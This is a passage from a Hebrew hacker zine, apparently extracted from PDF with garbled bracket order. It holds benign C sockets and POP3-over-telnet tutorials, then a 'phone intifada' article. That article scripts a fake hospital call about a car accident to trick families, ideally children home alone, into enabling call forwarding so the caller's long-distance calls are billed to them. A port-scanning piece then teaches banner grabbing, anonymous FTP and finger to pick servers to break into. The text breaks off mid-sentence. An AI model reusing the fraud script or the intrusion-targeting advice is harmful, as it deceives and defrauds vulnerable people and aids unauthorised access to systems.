‫המחשב שלכם‪ ,‬שבמקרה הזה שולח בקשה להתקשרות ופקודות לשרת נקרא "לקוח" או ‪.client‬‬
‫כל ההתקשרות שביניהם‪ ,‬מהרגע שהלקוח שולח בקשה להתחברות‪ ,‬ועד שהלקוח או השרת סוגר‬
‫את ההתקשרות נעשית דרך‪...‬‬
‫‪): !!sockets‬‬

‫בואו נכנס קצת יותר לעומק‪ .‬נניח שאני רוצה לבנות תוכנת שרת‪ ,‬איזה פקודות אני אצטרך?‬
‫קודם כל פקודות אתחול של ה ‪ sockets‬שאני אכניס לתוכם הגדרות מסוימות‪ ,‬שתלויות באופן‬
‫ההתקשרות שלי‪ .‬נצטרך גם פונקציות אתחול של ‪ winsock‬אם אנחנו עובדים עם ‪.windows9x‬‬

‫זאת פקודת האתחול של הסוקטים בווינדוז‪:‬‬

‫;‪WSADATA info‬‬
‫(‪if )WSAStartup)MAKEWORD)1,1(, &info( != 0‬‬
‫‪MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",‬‬
‫;(‪MB_OK‬‬

‫עכשיו ניצור מופעים (ארגומנטים) של המבנה ‪ sockadrr_in‬שמכיל את הגדרות הסוקט‪:‬‬


‫;‪struct sockaddr_in my_addr, rmt_addr‬‬
‫המבנה נראה כך‪:‬‬

‫‪struct sockaddr_in‬‬

‫‪63‬‬
‫{‬
‫‪short int‬‬ ‫‪sin_family; /* Address family‬‬ ‫‪*/‬‬
‫‪unsigned short int sin_port; /* Port number‬‬ ‫‪*/‬‬
‫‪struct in_addr sin_addr; /* Internet address‬‬ ‫‪*/‬‬
‫‪unsigned char‬‬ ‫‪sin_zero[8]; /* Same size as struct sockaddr */‬‬
‫;}‬

‫‪struct in_adrr‬‬
‫{‬
‫;‪unsigned long s_addr‬‬
‫;}‬

‫בכל מקרה זה לא צריך לעניין אותנו‪ .‬מה שאנחנו צריכים לעשות זה פשוט ליצור מופעים של‬
‫המבנה שיכילו את ההגדרות‪.‬‬
‫נכניס אותן‪:‬‬
‫;‪my_addr.sin_family = AF_INET‬‬
‫;(‪my_addr.sin_port = htons)MYPORT‬‬
‫;‪my_addr.sin_addr.s_addr = INADDR_ANY‬‬

‫השורה הראשונה מודיעה לו שאנחנו רוצים לעבוד עם האינטרנט‪ .‬בשורה השניה אנחנו מכניסים‬
‫לו פורט (הפונקציה ‪ htons‬זה כדי לתרגם את הפורט לסדר שונה של ביטים‪ ,‬כמו שסוקטים‬
‫אוהבים)‪ .‬בשורה השלישית אנחנו מכניסים אייפי‪ ,‬במקרה הזה זה הלוקאל (יענתו המחשב שלנו)‬
‫שאנחנו נפתח אח"כ להאזנה‪ INADDR_ANY .‬מוצא את הלוקאל אייפי‪ .‬אם נרצה להכניס‬
‫אייפי אחר נצטרך להמיר את הקידוד‪ ,‬ויש כמה פקודות שמטפלות באייפי ולכן אני סומכת עליכם‬
‫שתקראו את המדריך באנגלית‪ ,‬שם כתוב הכל‪.‬‬

‫נגדיר כמה סוקטים (זה טיפוס ‪ integer‬רגיל)‪:‬‬


‫;‪int socklstn, sockrcvd‬‬
‫;(‪socklstn = socket)AF_INET,SOCK_STREAM,0‬‬

‫נצטרך כמובן להגדיר לו על איזה פורט אנחנו רוצים שהשרת "יאזין" (יחכה להתקשרויות)‪ ,‬אחרת‬
‫‪.‬הוא סתם ישב על איזה פורט רנדומלי‬
‫;((‪bind)socklstn,)struct sockaddr *(&my_addr, sizeof)struct sockaddr‬‬

‫‪ socklstn‬זה הסוקט המבוקש‪ struct sockaddr *(&my_addr( ,‬זאת המרה שצריך לעשות‬
‫מהמבנה של ‪ sockarr_in‬למבנה ‪ sockaddr‬שהיה לפניו‪ ,‬כי ‪ C‬לא מכירה במבנה ‪.sockaddr_in‬‬
‫הפרמטר האחרון הוא הגודל של המבנה ‪.sockaddr‬‬

‫צריך גם להגיד כמה התקשרויות אנחנו רוצים שהשרת יאפשר‪ .‬לדוגמה‪ ,‬אפשר להגדיר שרק ‪4‬‬
‫לקוחות יוכלו לבקש להתחבר לשרת‪ .‬אח"כ השרת לא מתיר יותר התחברויות‪ .‬ברגע שלקוח‬
‫מתנתק מהשרת‪ ,‬הלקוח הבא יכול להתחבר‪)First In First Out( .‬‬

‫טוב אז עכשיו הכל מוכן ואנחנו מאזינים לבקשות לקוחות‪ .‬אם אנחנו מוצאים אחת כזאת‪ ,‬נודיע‬
‫לשרת שיקבל את הבקשה‪.‬‬
‫;(‪listen)socklstn, BACKLOG‬‬
‫‪ socklstn‬זה לאיזה סוקט הוא מאזין‪ ,‬ו ‪ backlog‬הוא מספר ההתקשרויות המותר‪.‬‬

‫התקבלה בקשה‪ .‬מה עושים אייתה?‬


‫;(‪sin_size = sizeof)struct sockaddr_in‬‬
‫;)‪sockrcvd = accept)socklstn, &rmt_addr, &sin_size‬‬

‫‪64‬‬
‫השורה הראשונה היא פשוט הגודל של המבנה ‪ sockaddr_in‬שהשורה השניה צריכה‪.‬‬
‫השורה השניה מקבלת את הבקשה שהתקבלה ב ‪ socklstn. Rmt_addr‬זה משתנה מסוג מצביע‬
‫שיכיל את הפרטים של הכתובת שמבקשת התחברות‪.‬‬
‫כל הבקשה הזאת נכנסת לתוך ‪ .sockrcvd‬מה שקורה בעצם‪ ,‬זה שהשרת מאזין על סוקט אחד (‬
‫‪ )socklstn‬אבל ברגע שיש בקשה הוא פותח סוקט אחר (‪ )sockrcvd‬כדי לקבל אותה‪ .‬כל מה‬
‫שיועבר ביניהם יעבור דרך ‪!!!sockrcvd‬‬
‫השרת ממשיך להאזין על ‪ !!!socklstn‬אם תבוא בקשה אחרת (תלוי כמה בקשות התרנו) הוא‬
‫יפתח סוקט אחר לאותה בקשה וכן הלאה‪.‬‬

‫זהו‪ ,‬מרגע שהשרת קיבל את הבקשה אפשר להתחיל להעביר אינפורמציה בין שניהם‪.‬‬

‫אם רוצים לסגור את הסוקטים‪ ,‬פשוט מאוד‪:‬‬


‫(‪shutdown)socklstn,3‬‬
‫או‪:‬‬
‫;(‪close)socklstn‬‬

‫חשוב לציין – כל הפקודות מחזירות –‪ 1‬במקרה של שגיאה‪ ,‬ומפעילות את ‪.errno‬‬


‫זהו לבנתיים‪ .‬מאוד בקצרה‪ .‬כדאי מאוד לקרוא את המדריך באנגלית שמפרט את כל הפקודות‪.‬‬

‫שלכם‪,‬‬
‫‪Zero Cool, AKA Blood Runner.‬‬

‫‪65‬‬
‫התקשרויות מחשבים‪ :‬חלק שני‪:‬‬
‫איך לבנות קליינט‬

‫“ ‪.”If man is one, and devil is six, then that must make me seven‬‬
‫(כתובת על שולחן בי"ס)‬

‫אהלןןןן לכם קוראים מתוקים ויקרים שלי‪ .‬או לפחות אלה ששרדו את החלק הקודם‪ .‬בואו‬
‫נמשיך? ‪ ‬אז קודם כל‪ ,‬חדשוווות – אני שמחה לבשר לכם כי גם השנה ייערך כנס האקרים‬
‫בישראל אבל יותר צנוע משנה שעברה‪ ,‬כי שנה שעברה זה היה עולמי‪ ,‬נמשך ‪ 3‬ימים‪ ,‬והיו אתגרים‬
‫כמו הרצאות באנגלית במבטא עברי ואפילו גרמני וכל העסק עלה ‪ .60$‬בנות נכנסו בחינם‬
‫היהיהיהיי תקנאו‪ .‬השנה זה יהיה כנראה יום אחד‪ ,‬ישראלי ואפילו יותר נחמד‪ .‬בפעם הקודמת‬
‫ההרצאות היו בלתי מובנות לחלוטין ומשעממות‪ ,‬אבל היו אחלה חבר'ה‪ .‬השנה תוכלו לפגוש‬
‫אותי! זה כבר סיבה טובה לבוא!!! אז כל מעריציי‪ ,‬יאללה‪.‬‬

‫טוב‪ ,‬לעסק‪:‬‬
‫בחלק הקודם למדנו איך להאזין להתקשרויות‪ .‬בחלק הזה נלמד גם איך להתקשר למחשבים‬
‫אחרים‪ .‬נניח שהסרבר מהפעם הקודמת מקשיב על פורט מסויים‪ .‬עכשיו בואו נתקשר לפורט הזה‬
‫וננסה לשלוח הודעה‪.‬‬

‫בוא נחשוב כמו בפעם הקודמת‪ ,‬מה יהיה תהליך העבודה שלנו?‬
‫דבר ראשון‪ ,‬לאתחל את ‪ Winsock‬במקרה ואתם אנשים מסכנים כמוני שהלינוקס המסכן שלהם‬
‫מסרב להכיר במודם והעלים גם כונן של ‪ 2‬ג'יגה כי מרוב שהמשתמשת התלהבה היא שכחה‬
‫להגדיר אותו כמחיצת וינדוס‪.‬‬
‫פקודת האתחול‪ ,‬להזכירכם‪:‬‬
‫‪;WSADATA info‬‬
‫‪)if )WSAStartup)MAKEWORD)1,1(, &info( != 0‬‬
‫‪MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",‬‬
‫‪;)MB_OK‬‬

‫כמובן‪ ,‬נצטרך להגדיר מופעים של המבנה ‪ sockaddr_in‬וליצור טיפוס מסוג שלם בשביל הסוקט‪:‬‬

‫‪;int sockfd‬‬
‫‪;struct sockaddr_in dest_addr‬‬
‫;]‪char msg[81‬‬
‫‪ dest_addr‬יכיל את פרטי הכתובת שאנחנו רוצים להתחבר אליה‪.‬‬
‫הפרמטר האחרון הוא מערך‪ ,‬שיכיל את ההודעה שאנחנו רוצים לשלוח‪.‬‬

‫כמו בפעם הקודמת‪:‬‬


‫‪;)sockfd = socket)AF_INET,SOCK_STREAM,0‬‬
‫‪;dest_addr.sin_family = AF_INET‬‬
‫‪;)dest_addr.sin_port = htons)MYPORT‬‬
‫‪;)dest_addr.sin_addr.s_addr = inet_addr)IP‬‬

‫שזה אומר שאתחלנו את הסוקט שישמש אותנו להתחברות‪ ,‬והכנסנו לתוכו הגדרות שאומרות‬
‫שאנחנו עובדים עם האינטרנט‪ .‬הוא ינסה להתחבר לפורט ‪ MYPORT‬באייפי ‪.IP‬‬
‫הפקודה ‪ )inet_addr)IP‬נחוצה כי צריך להמיר את המספר ‪ ,IP‬לדוגמה‪ 207.23.45.666 :‬לסימון‬
‫של נקודות ומספרים (‪ )numbers-and-dots notation‬כי זה מה שהמחשב מבין‪.‬‬

‫ו‪-‬ע‪-‬כ‪-‬ש‪-‬י‪-‬ו גבירותיי ורבותיי‪ ,‬הרגע שכולכם חיכיתם לו…‬

‫‪;)connect)sockfd, )struct sockaddr *(&dest_addr, sizeof)struct sockaddr‬‬

‫‪66‬‬
‫מה זה אומר? התוכנית הנחמדה שלנו מנסה עכשיו להתחבר‪ .‬לצורך זה היא תשתמש ב ‪sockfd‬‬
‫שזה הסוקט שאיתו אנחנו עובדים‪ Dest_addr .‬אמרנו כבר שיכיל את פרטי הסרבר (הכתובת‬
‫אליה אנחנו רוצים להתחבר) ו ‪ sizeof‬כמו שאתם בטח יודעים‪ ,‬יחזיר פשוט את גודל המבנה‬
‫‪ .sockaddr‬ככה הולכת הפקודה‪ ,‬היא צריכה גם את הגודל‪.‬‬
‫עכשיו בואו נשלח את ההודעה‪:‬‬

‫‪;)gets)msg‬‬
‫לקליטת הודעה מהמשתמש (מהמקלדת)‪.‬‬

‫‪;)send)sockfd,msg,strlen)msg(,0‬‬

‫הפקודה שולחת את ההודעה ‪ msg‬דרך הסוקט ‪ sockfd‬אל הכתובת שהגדרנו מקודם בהגדרות‬
‫של ‪ sockfd )dest_addr(, strlen‬זה כמובן גודל ההודעה שהכרחי בעבודה עם סוקטים‪ ,‬וה – ‪0‬‬
‫המעצבן פשוט צריך להיות שם‪.‬‬

‫לסגירת ההתקשרות‪ ,‬הפקודה שהכרנו כבר בחלק הקודם‪:‬‬

‫‪;)shutdown)sockfd,3‬‬

‫וזאת תורת הסוקטים בקצרה‪ .‬קל‪ ,‬נכון?‬

‫סיכום קצר כדי לעשות סדר בדברים‪:‬‬


‫למדנו איך לבנות תוכנית הנקראת סרבר‪ .‬כדי לבנות סרבר פתחנו ‪ socket‬להאזנה להודעות‬
‫נכנסות על פורט מסויים‪ .‬למדנו איך לבנות קליינט‪ ,‬שכדי לתקשר עם סרברים משתמש ב ‪socket‬‬
‫לשליחת בקשות התקשרות לפורט מסויים‪ .‬אם הסרבר מאזין לפורט ‪ 23‬לדוגמה‪ ,‬והקליינט‬
‫מבקש להתחבר לפורט ‪ ,23‬הסרבר יקבל את הבקשה שלו ויפתח עבור ההתקשרות ‪ socket‬חדש‪.‬‬
‫דרך הסוקט הזה הקליינט והסרבר שלנו ידברו ויקשקשו יחדיו עד שאחד הצדדים יסגור את‬
‫ההתקשרות‪ .‬הקליינט יכול לשלוח הודעה לסרבר והסרבר לקליינט‪ .‬לדוגמה‪ ,‬אם אנחנו על שרת‬
‫דואר (פורט ‪ )25‬ואנחנו מקישים‪:‬‬
‫“‪ “mail from: bill_gates@microsoft.com‬השרת יכול לבקש הזדהות קודם ”‪Polite people‬‬
‫‪"say HELO first‬‬
‫ולסרב להגיב עד שנקיש לדוגמה‪. HELO netvision.net.il ,‬‬

‫אם אתם עדיין מבולבלים קצת‪ ,‬במדריך הבא אני אתן תוכנית שלמה שמשחקת עם הקליינט‬
‫והסרבר ואנסה להסביר אותה‪ .‬אולי אפילו ננתח אקספלוייט אחד או שניים‪ .‬בקיצור‪ ,‬יש למה‬
‫לחכות…‬

‫חשוב לציין – כל הפקודות מחזירות –‪ 1‬במקרה של שגיאה‪ ,‬ומפעילות את ‪.errno‬‬

‫סיימתי את שלי להערב‪ .‬יאללה צ'או‪ .‬נתראה בקרוב‪ ,‬מבטיחה‪.‬‬

‫שלכם‪,‬‬
‫‪.Zero Cool, AKA, Blood Runner‬‬

‫‪67‬‬
‫קריאת ‪ E-mail‬דרך טלנט‬

‫ש‪-‬ל‪-‬ו‪-‬ם חברים שלי!‬


‫מה המצב?‬
‫הכל אחלה? סבבה‪ .‬אצלי לא‪ .‬סתם‪ .‬אני במצב רוח מוזר ולכן אני אכתוב לכם מדריך מוזר על איך‬
‫לקרוא אימייל דרך טלנט‪ .‬וברקע יש לי גם דיסק מוזר ("‪ "Bleach‬של נירוונה ‪ -‬נחמד‪ ..‬אבל לא‬
‫יותר מנחמד) ואני סתם מזבלת לכם את השכל אז יאללה לעבודה‪...‬‬

‫אז נכון שתמיד חשבתם שיש לכם "אימייל נייד" כמו הוטמייל‪ ,‬אימייל‪.‬קום וכו' ו"אימייל של‬
‫הבית" שכשאתם מתחברים מהבית אתם פותחים אותו דרך אאוטלוק אקספרס וכו'? אז יופי‪.‬‬
‫אבל ידעתם שאפשר לפתוח אותו לא רק מהבית? בטח שידעתם! אבל ידעתם גם איך לעשות את‬
‫זה? נו בשביל מה אני פה???? ‪):‬‬
‫טוב תפתחו את טלנט (‪ )telnet‬ותתחברו לפורט ‪ 110‬אל השרת אימייל נכנס של הספק שלכם‪ .‬אם‬
‫אתם לא יודעים את הכתובת‪ ,‬תתקשרו לספק ותשאלו‪ .‬אם יש לכם את הדפים ששלחו לכם‬
‫כשעשיתם מנוי אינטרנט‪ ,‬צריך להיות כתוב שם בתצורה של איך לסדר את התיבת אימייל‪ .‬אני‬
‫לדוגמה על אינטרנט זהב‪ ,‬אז ב ‪ hostname‬אני כותבת‪:‬‬
‫‪in.inter.net.il‬‬
‫שזה השרת לאימייל נכנס שלהם‪ .‬אגב‪ ,‬השרת לאימייל יוצא הוא‪ ,‬כמה מפתיע‬
‫‪out.inter.net.il‬‬

‫פורט ‪ 110‬זה הפורט לאימייל נכנס‪.‬‬


‫אוקי‪ ..‬התחברנו‪ .‬מה עכשיו? טוב‪ ,‬זאת היתה הבעיה שלי במשך כמה שנים כי פשוט אין שם את‬
‫הפקודה‬
‫‪ Help‬או ? או ‪man‬‬
‫כדי לתת רשימת פקודות!!! ותנסו בעצמכם לחפש באלטה‪-‬ויסטה ולא תמצאו כלום‪ .‬אז למזלי‬
‫פגשתי מישהו שידע את הפקודות והנה הן‪:‬‬
‫‪user username‬‬
‫תכניסו במקום ‪ username‬את שם המשתמש שלכם‬
‫‪pass password‬‬
‫תכניסו במקום ‪ password‬את הסיסמת התחברות שלכם‪.‬‬
‫עכשיו בחלק מהשרתים הוא ישר ייתן לכם רשימה של אימיילים שקיבלתם זה יראה ככה‪:‬‬
‫‪5736 1‬‬
‫‪57362 2‬‬
‫‪3822 3‬‬
‫זה אומר שיש לכם ‪ 3‬אימיילים חדשים‪ .‬כדי לקרוא אותם‪ ,‬רשמו‬
‫‪retr 1‬‬
‫כדי לקרוא את הראשונה‬
‫‪retr 2‬‬
‫כדי לקרוא את השניה וכו'‪.‬‬

‫השרת של אינטרנט זהב לדוגמה‪ ,‬אחרי שאתם מקישים שם משתמש וסיסמה ייתן לכם הודעה‬
‫כזאת‪:‬‬
‫‪mail list drop and ready‬‬
‫ותצטרכו להקליד‬
‫‪list‬‬
‫כדי לראות את רשימת ההודעות‪ .‬אם אין לכם אימיילים חדשים השרת ייתן את ההודעה‬
‫‪scan list follows‬‬
‫‪.‬‬

‫טוב‪ .‬אם האימייל עובר מהר מדי ואתם לא מצליחים לקרוא אותו‪ ,‬פשוט תבחרו בתפריט‬
‫‪terminal> start logging‬‬
‫ותבחרו קובץ שאליו הוא יכתוב‪ .‬אח"כ לכו לקובץ ותקראו משם‪.‬‬

‫‪68‬‬
‫אם אתם רוצים למחוק הודעות‪,‬‬
‫‪dele 1‬‬
‫‪dele 2‬‬
‫וכדומה‪.‬‬

‫סיימתם עם האימיילים? סגרו בעזרת‬


‫‪quit‬‬

‫טוב‪ ,‬לכתוב אימיילים דרך פורט ‪ 25‬אתם יודעים כבר כי זה גיהנום לימד אתכם‪.‬‬
‫אם אתם רוצים ללמוד עוד על טלנט ופורטים שימושיים‪ ,‬לכו ל‬
‫‪www.happyhacker.org‬‬
‫אתר מומלץ ביותר! חפשו את ה‬
‫‪.guides to mostly harmless hacking‬‬

‫אבל מה שהסברתי פה אני לא מצאתי באף מקום‪ .‬אז תרגישו מיוחדים‪...‬‬


‫ביי לכם מתוקנים שלי ותרגישו טוב‬

‫"‪"all tied up and dried up forever, all fucked up and dead to the world‬‬

‫‪): The Coolest Zero on Earth‬‬


‫או‬
‫‪Blood Runner‬‬
‫בשבילכם‪.‬‬

‫‪69‬‬
‫אינטיפדאת טלפונים‬

‫לפני כמה זמן ראיתי (נראה לי בפורום של ‪ ) ihc‬הודעה כזאתי‪:‬‬

‫אינטיפדאת טלפונים‬
‫שמעתי שיש אנשים שמתקשרים למספר טלפון מבקשים ממי שמרים את השפופרת לחייג‬
‫קוד מספרי מסויים ואחרי זה הם עושים שיחות על חשבונו‪.‬‬
‫מישהו יודע מהו הקוד ואיך משתמשים בו ?‬

‫אז ישבתי וחשבתי קצת ובסוף עליתי על זה‪ .‬הטריק לא ייתן לך לעשות שיחות לגמרי‬
‫בחינם אלא ייתן לך לעשות שיחות חוץ במחיר של שיחות מקומיות‪.‬‬

‫כל העניין מבוסס על שימוש ב ‪( *71‬עקוב אחרי)‬


‫אז קודם כל נצטרך להבין איך בזק מחייבת על השרות‪.‬‬
‫נגיד שאני גר בבית א ועשיתי עקוב אחרי לבית ב ‪ .‬בנדם מטלפון ג מתקשר‬
‫אלי ‪ ,‬את התשלום על השיחה מ ג לבית שלי ( א ) המתקשר ישלם אבל על המשך‬
‫השיחה מהבית שלי למקום שעשיתי אליו עקוב אחרי אני משלם‪.‬‬

‫ועכשיו לקטע המעשי בואו נאמר שאני באזור ‪ 04‬ורוצה להתקשר‬


‫למספר טלפון הזה ‪ 029765432 -‬אני פותח ספר טלפנים ורואה את הדבר הבא‪:‬‬

‫ירון וחנה לוי ………………………………… ‪0481234567‬‬

‫אז אני יחייג ‪ 81234567‬והשיחה תלך בערך ככה‪:‬‬

‫אני‪ :‬שלום אני מדבר עם משפחתו של ירון לוי?‬


‫האדיוט שענה לי ‪ :‬כן‬
‫אני‪ :‬שלום ‪ ,‬מדברים מבית החולים רמב"ם ירון נפגע בתאונת דרכים‬
‫אם אתם רוצים לדבר עם הרופא עליכם לחייג ‪. *71029765432‬‬
‫האידיוט שענה לי ‪ :‬טוב אני עכשיו מתקשר‬
‫אני ‪ :‬תודה ולהתראות‪.‬‬

‫******************************************************‬
‫טיפ‪ :‬אם השגתם איזה שהו עותק של רשומון‬
‫תוכלו להוסיף עוד פרטים כדי שהעניין יהיה יותר משכנע‬

‫******************************************************‬
‫*********************************************************‬
‫עוד טיפ ‪ :‬רק ילדים קטנים יהיו מספיק טיפשים‬
‫להאמין לכם אז תתקשרו בשעות שהורים לא אמורים להיות בבית‬
‫*********************************************************‬
‫עכשיו אחרי שעשית את כל העניין המשעמם הזה אתה יכול‬
‫להתקשר פשוט ל ‪ 81234567‬ואז אתה תופנה אוטומטית ל ‪. 029765432‬‬

‫הערה ‪ :‬לא היה לי לב לבדוק אם זה עושה שיחות לחו"ל אתם מוזמנים לנסות‪.‬‬

‫הכתבה נכתבה ע"י ‪y0g1 b3ar‬‬

‫‪70‬‬
‫פורט סקנינג‬

‫‪++++++++++++++++++++++++++++++++++++++++++++++++++++++‬‬
‫‪(In loving memory of Douglas Adams (1952-2001‬‬
‫‪++++++++++++++++++++++++++++++++++++++++++++++++++++++‬‬

‫לכל אלה מכם ששואלים "מי זה לעזאזל דאגלאס אדאמס" אולי‬


‫"מדריך הטרמפיסט לגלקסיה" יזכיר לכם משהו‪ .‬ואם לא אז תתביישו‪ ,‬תתביישו‪,‬‬
‫תתביישו כי זה הדבר הכי מופרע‪ ,‬מצחיק‪ ,‬מגניב‪ ,‬מדליק‪ ,‬הכל שקיים בעולם‪,‬‬
‫ביקום ובכל השאר‪..‬‬
‫לא חשוב‪ .‬ראיתי כבר אנשים שהקדישו לאהובותיהם אקספלוייטים‪ ,‬מתמטיקאים‬
‫ופיזיקאים שהקדישו "באהבה רבה" את הספרים המגעילים שהם כתבו לנשותיהם‬
‫(אני מאוד מצטערת‪ ,‬אבל אם אני הייתי במקומן הם היו עפים מהבית כבר ממזמן)‪,‬‬
‫אז אני לא חושבת שזה מוזר להקדיש את הטקסט הזה לדאגלאס‪ .‬וי לאב יו‪.‬‬

‫טוב‪ ,‬אז בתפריט היום סקאנינג סקאנינג ועוד קצת סקאנינג (תנסו להגיד את זה רצוף)‬
‫כי בכל הטיולים שלי בפורום גיהנום ראיתי הרבה קוראים מסורים שלנו שהתעצבנו ‪-‬‬
‫למה לעזאזל אנחנו לא מלמדים אותם פורט סקנינג‪ .‬אז הנה זה בא‪.‬‬
‫תשבו‪ ,‬תיקחו כוס קולה (אורגינלית) ובואו איתי לעולם המופלא של הפורטים‪.‬‬
‫זה יכול להיות ארוך‪.‬‬
‫חלקכם אולי יודעים חלק מהדברים‪ ,‬אבל סטיק וויז מי‪ ,‬אתם תמיד יכולים ללמוד‬
‫משהו חדש‪.‬‬

‫אז מה זה פורט בכלל? נניח שאתם מתחברים לאינטרנט ופותחים את התיבת אימייל שלכם‪,‬‬
‫בוא נגיד אאוטלוק אקספרס‪ .‬חשבתם פעם מה קורה? המחשב שלכם בעצם מתחבר לאיזשהו‬
‫מקום על גבי השרת של האינטרנט שלכם‪ ,‬ובודק אם יש לכם דואל חדש‪ .‬המקום הזה נקרא‬
‫פורט‪ .‬הפורט של הבדיקת אימייל הוא ‪ ,110‬והפורט של השליחת אימייל הוא ‪.25‬‬
‫בואו ניקח עוד דוגמה‪ :‬אתם פותחים את הדפדפן ואומרים לו להיכנס‬
‫ל ‪ . www.foobar.com‬המחשב שלכם בעצם מתחבר לפורט ‪ 80‬על השרת ‪www.foobar.com‬‬
‫ומציג לכם את התוכן שיש בו‪.‬‬

‫כמו שאתם אולי יודעים‪ ,‬אפשר להתחבר לפורטים ישירות דרך טלנט‪.‬‬
‫זאת אומרת‪ ,‬במקום להגיד לדפדפן שלכם ללכת לאתר ‪, www.foobar.com‬‬
‫אתם לוקחים את הטלנט שלכם ל ‪ www.foobar.com‬פורט ‪.80‬‬
‫אהה‪ ,‬אני רואה את הקוצים מתחילים לצמוח לכם בתחת‪ ,‬אבל מה יצא לנו מזה?‬
‫אם אתם רוצים לפרוץ משהו על הרשת‪ ,‬אתם צריכים קודם אינפורמציה‪.‬‬
‫אתם צריכים לדעת קודם כל‪ ,‬איזה מערכת השרת מריץ‪ ,‬וכל מיני תוכניות שהוא מריץ‪.‬‬
‫ככה אתם רואים איזה חורי אבטחה יש באתר ואיך אתם יכולים לחדור אליו‪.‬‬

‫בואו נעשה ניסיון קטן‪.‬‬


‫תפתחו את טלנט (התחל> חפש> קבצים או תיקיות> ‪ - telnet‬על כונן ‪)C‬‬
‫ותתחברו נניח ל ‪ gehenom.cjb.net‬פורט ‪.80‬‬
‫עכשיו בעצם אתם פותחים את האתר מהטלנט‪ .‬תנסו להקליד משהו‪.‬‬
‫תקבלו הודעת שגיאה כזאת‪:‬‬

‫<!‪>"DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN‬‬


‫ואז השרת יגיד לכם שהפקודה שהקלדתם לא חוקית‪.‬‬
‫מכאן אנחנו רק יודעים את הגרסה של ה ‪ HTML‬שהאתר משתמש בה‪,‬‬
‫אז זה לא הכי מועיל לנו‪ .‬אבל יש מקרים שפורט ‪ 80‬מוסר אינפורמציה אחרת‪...‬‬
‫אני אקח כדוגמה אתר שניסיתי אבל בגלל שיש בו מלא חורי אבטחה אני לא רוצה‬
‫שתזיקו לו (אני רוצה להזיק לו לבד ‪ ,) ):‬אז אני אזייף את הכתובת שלו‪.‬‬
‫התחברתי ל ‪( www.foo.org.il‬כתובת מזויפת) פורט ‪ .80‬הקלדתי סתם משהו ואז‬
‫קיבלתי חזרה הודעת שגיאה בסגנון‪:‬‬
‫‪Microsoft IIS 4.0 : Command not recognized‬‬

‫‪71‬‬
‫הו‪-‬פה! הפורט מודיע לי חגיגית שהאתר מריץ ‪ MS IIS‬שזו תוכנה של מייקרוסופט‬
‫לניהול ואחזקת אתרים‪ .‬ויש כלל בעולם ההאקינג‪ :‬אם זה מייקרוסופט‪ ,‬שום דבר לא‬
‫בטוח‪ .‬בדברים של מייקרוסופט יש מיליוני חורי אבטחה‪ .‬אם אתם מוצאים אתר‬
‫שמריץ ‪ IIS‬לדוגמה‪ ,‬לכו לחפש אקספלוייטים של ‪ IIS‬ותגלו שלא קשה לפרוץ אותו‪.‬‬
‫על אותו אתר‪ ,‬לקחתי את טלנט לפורט ‪ .21‬זהו הפורט של ה ‪ FTP‬שזה שרת קבצים‬
‫שמאפשר לכם להיכנס ולהוריד ולהעלות (רק אם יש לכם ‪ account‬שם) קבצים לשרת‪.‬‬
‫טלנט מודיעה לי‪ microsoft FTP :‬ואין מאושרת ממני‪ .‬בשביל ימים כאלה כיף‬
‫לקום בבוקר‪): .‬‬
‫אבל נעזוב את זה עכשיו‪ ,‬כי רק על ‪ IIS‬ו ‪ FTP‬אפשר לכתוב מדריך שלם‪.‬‬

‫טלנטו לפורט ‪ 21‬על ‪ .netvision.net.il‬יפתח לכם שרת ה ‪.FTP‬‬


‫הקלידו ‪user anonymous‬‬
‫השרת יגיד משהו בסגנון "אוקי‪ ,‬רק תנו לי את האימייל שלכם בתור סיסמה"‬
‫‪pass fuck@you.com‬‬
‫ותקבלו משהו בסגנון‪user logged in :‬‬
‫כמעט על כל שרת ‪ FTP‬יש חשבון (‪ )account‬בשם אנונימוס שנותן לכם להיכנס ללא‬
‫צורך בסיסמה‪ .‬ברוב המקרים זה לא הכי יעזור לכם לפרוץ את השרת אבל לפחות אתם‬
‫יכולים להסתכל על כמה ספריות שם ולהוריד קבצים במקרים טובים‪ .‬אבל יש גם מקרים‬
‫אחרים‪ ...‬שוב‪ ,‬זה לא טקסט על ‪ FTP‬אז אני לא אפרט‪ .‬תבקשו‪ ,‬אני מבטיחה לכתוב על‬
‫זה משהו‪.‬‬
‫התנתקו מהפורט באלגנטיות (‪ Ctrl+F4‬או ‪.)quit‬‬
‫התחברו לפורט ‪ 25‬על‪ ,‬נניח ‪( out.inter.net.il‬אינטרנט זהב)‪ .‬בדקו את השטח‪.‬‬
‫תסתכלו קצת מסביב‪ .‬תפסתם ת'ראש? יופי‪.‬‬

‫עכשיו בחרו לכם אתר משלכם‪ .‬תחקרו אותו‪ ,‬תשיגו עליו את כל האינפורמציה שאתם‬
‫יכולים‪ .‬תבדקו פורטים חשובים כמו‪:‬‬
‫‪FTP - 21‬‬
‫‪ telnet - 23‬אם הפורט הזה פתוח‪,‬‬
‫זה אומר שהשרת נותן למשתמשים שלו ‪.shell account‬‬
‫זה חשבון שנותן למשתמש להריץ פקודות יוניקס על השרת‪,‬‬
‫כאילו המשתמש נמצא ממש מול מערכת יוניקס‪.‬‬
‫אם הספק אינטרנט שלכם פותח את הפורט הזה‪,‬‬
‫נסו להתחבר ולהקליד את שם המשתמש והסיסמה שלכם‪,‬‬
‫ואתם יכולים להריץ כמה פקודות יוניקס חמודות כמו ‪.whois‬‬
‫חבל‪ ,‬אבל כל ספקי האינטרנט בישראל שאני יודעת עליהם חסמו את הפורט הזה‪.‬‬
‫‪ - 25‬כתיבת אימייל‬
‫‪ finger - 79‬זה פורט שאם הוא פתוח‪ ,‬אתם יכולים להיות מאושרים‪ .‬מאוד מאושרים‪.‬‬
‫דרך הפורט הזה אפשר להשיג אינפורמציה על משתמשים על הספק‪.‬‬
‫נסו להקליד ‪ finger root‬או אפילו סתם ‪ root‬לדוגמה‪,‬‬
‫כדי לקבל טינפו על המשתמש ‪.root‬‬
‫לפעמים אתם תוכלו לראות גם איזה משתמשים מחוברים כרגע על השרת ‪.‬‬
‫רגע‪ ,‬אם התוכנית הנחמדה ‪ finger‬יכולה להגיד לנו כלמיני דברים על כלמיני‬
‫משתמשים זה אומר שהיא יכולה לגשת לחשבונות (‪ )accounts‬של אותם משתמשים!‬
‫וזה אומר שיש לה גם גישה למשתמש העל‪ !!)root( ..‬לפעמים אם מקלידים משהו מוזר‬
